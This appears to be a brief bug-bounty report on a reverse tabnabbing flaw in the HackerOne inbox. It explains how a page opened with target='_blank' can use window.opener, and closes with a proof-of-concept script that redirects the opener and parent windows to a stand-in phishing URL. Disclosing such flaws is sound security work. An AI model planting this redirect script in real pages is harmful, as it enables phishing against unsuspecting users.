Tab nabbing in Hackerone inbox.

**Description:** Tab nabbing vulnerability occurs When you open a link in a new tab ( target="_blank" ), the page that opens in a new tab can access the initial tab and change its location using the ``window.opener`` property and from this a lot of phishing attacks could happen. This scenario …

<script>
if (window.opener) window.opener.parent.location.replace('http://phishing.com');
if (window.parent != window) window.parent.location.replace('http://phishing.com');
</script>